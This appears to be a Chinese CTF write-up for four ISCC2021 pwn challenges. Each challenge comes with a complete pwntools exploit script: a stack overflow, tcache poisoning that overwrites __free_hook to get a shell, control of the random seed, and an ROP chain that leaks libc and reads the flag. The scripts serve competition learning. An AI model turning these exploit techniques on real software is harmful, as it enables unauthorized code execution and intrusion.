ISCC2021 PWN部分 WP
字数统计:
1.1k字
|
阅读时长:
5分
今年终于有机会去体验iscc了,也感受到了什么是pycc的力量了。(人均全栈,233雾)
M78 经典的整数溢出与栈溢出.利用262来整数逃过判断,扩大栈上写入字节造成栈溢出.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *e=ELF('./M78' ) p=remote('39.96.88.40' ,7010 ) p.sendline('1\x00' ) p.recvuntil('Please choose a building' ) p.recvuntil('Please input the password' ) shell='a' *(0x18 +4 )+p32(e.symbols['call_main' ]) p.sendline(shell+'a' *(262 -len(shell))) p.interactive()
Box old-2.27版的堆题,限制了最多申请6个同种堆块,通过连续二次释放0x90大小的堆块.获得chunk地址.更改tcache 管理结构体,伪造其填满.再释放0x90大小的堆块获得libc基地址.再在__free_hook
上写入system 从而getshel。l
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *e=ELF('./pwn' ) l=ELF('./libc.so.6' ) p=remote('39.96.88.40' ,7020 ) def add (num,size,text) : p.sendline('1' ) p.recvuntil('Input the index:' ) p.sendline(str(num)) p.recvuntil('Input the size:' ) p.sendline(str(size)) p.recvuntil('Input data:' ) p.sendline(text) def edit (num,text) : p.send('2' ) p.recvuntil('Input the index:' ) p.sendline(str(num)) p.recvuntil('Please input the data:' ) p.send(text) def free (num) : p.sendline('3' ) p.recvuntil('Input the index:' ) p.sendline(str(num)) def show (num) : p.sendline('4' ) p.recvuntil('Input the index:' ) p.sendline(str(num)) p.recvuntil('Here is it :' ) add(1 ,0x90 ,'111' ) add(2 ,0x90 ,'111' ) add(0 ,0x90 ,'/bin/sh\x00' ) sleep(0.1 ) free(1 ) sleep(0.1 ) free(2 ) sleep(0.1 ) show(2 ) chunk_addr=u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info('chunk_addr:' +hex(chunk_addr)) tache_addr=chunk_addr-0x260 log.info('tache_addr:' +hex(tache_addr)) edit(2 ,p64(tache_addr+0x10 )) add(3 ,0x90 ,p8(7 )*0x10 ) sleep(0.1 ) add(4 ,0x90 ,p8(6 )*0x40 ) sleep(0.1 ) free(0 ) sleep(0.1 ) free(3 ) sleep(0.1 ) show(3 ) main_arena_addr=u64(p.recv(6 ).ljust(8 ,'\x00' ))-96 log.info('main_arena_addr:' +hex(main_arena_addr)) base=main_arena_addr-0x3afc40 log.info('blic_base_addr:' +hex(base)) sleep(0.1 ) edit(4 ,p8(6 )*0x40 +p64(base+l.symbols['__free_hook' ])+p64(base+l.symbols['__free_hook' ])) sleep(0.1 ) add(5 ,0x20 ,p64(base+l.symbols['system' ])) edit(4 ,'/bin/sh\x00' ) free(4 ) p.interactive()
game 经典的伪随机数问题,通过from ctypes import *
的CDLL
本地模拟随机数生成,同时利用栈溢出控制伪随机数种子。从而控制随机数产生。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from ctypes import *e=ELF('./game' ) context.log_level = 'debug' p=remote('39.96.88.40' ,7040 ) c = CDLL("/lib/x86_64-linux-gnu/libc.so.6" ) c.srand(1 ) pay='a' *(0x24 )+p32(2 )+p32(1 ) p.send(pay) for i in range(10 ): x=c.rand() c.srand(x) l=c.rand()%0x64 +1 print(l) p.sendline(str(l)) print(p.recv()) p.interactive()
full 由于没有打印信息的函数,且程序PIE是关闭的,通常就会想到ret2dl_resolve。但是做了半天发现不行,看了下保护:
1 2 3 4 5 Arch: amd64-64 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
发现 Full RELRO
开着,wro……
但是查阅资料发现神奇的gadget 一文提供了,将真实地址转移到栈上修改的思路。虽然题目中没有这个gadget但是提供了memcpy 函数。
有根据在大多数libc中read与write的symbols只一个字节不同的特性,同过将read打印到栈上修改成write从而泄露libc。
然后不知道为啥system无法执行(菜鸡推测是栈上问题),于是用orw(open-read-write)方法强行读取flag文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from LibcSearcher import LibcSearchercontext.arch='i386' elf=ELF('./full' ) p=process('./full' ) pppr_addr = 0x08048519 pop_ebp_addr = 0x0804851b leave_ret_addr = 0x080483c5 pay1='12cdefghijklmn' +p32(0x0804A040 +0x10 +0x8 )+p8(1 )*2 pay1+=p32(elf.symbols['read' ])+p32(pppr_addr)+p32(0 )+p32(0x804a240 )+p32(0x100 ) pay1+=p32(elf.symbols["memcpy" ])+p32(pppr_addr)+p32(0x804a260 )+p32(0x8049ff0 )+p32(4 ) pay1+=p32(elf.symbols['read' ])+p32(pppr_addr)+p32(0 )+p32(0x804a260 )+p32(0x1 ) pay1+=p32(0x08048518 )+p32(0x804a260 )+p32(0x41 )+p32(0x40 )+p32(0x804a260 )+p32(0x08048504 )+p32(1 )+p32(0x804a260 )+p32(8 )+'1111' *4 +'2222' *4 pay1+=p32(elf.symbols['read' ])+p32(pppr_addr)+p32(0 )+p32(168 +0x0804A040 )+p32(0x100 ) print(len(pay1)) p.sendline(pay1) sleep(1 ) p.sendline('/flag.txt\x00\x00' ) sleep(1 ) p.send(p8(0xb0 )) write=u32(p.recv(4 )) print(hex(write)) libc = LibcSearcher('write' , write) libcbase = write - libc.dump('write' ) log.info('base:' +hex(libcbase)) system=libcbase+libc.dump('system' ) read_0=libcbase+libc.dump('open' ) write_0=libcbase+libc.dump('write' ) log.info('libcbase+system:' +hex(system)) binsh_addr = libcbase + libc.dump('str_bin_sh' ) p.sendline(p32(read_0)+p32(pppr_addr)+p32(0x804a240 )+p32(0 )+p32(0 )+p32(elf.symbols['read' ])+p32(pppr_addr)+p32(3 )+p32(0x804a440 +4 )+p32(0x100 )+p32(write_0)+'xxxx' +p32(1 )+p32(0x804a440 +4 )+p32(0x100 )) p.interactive()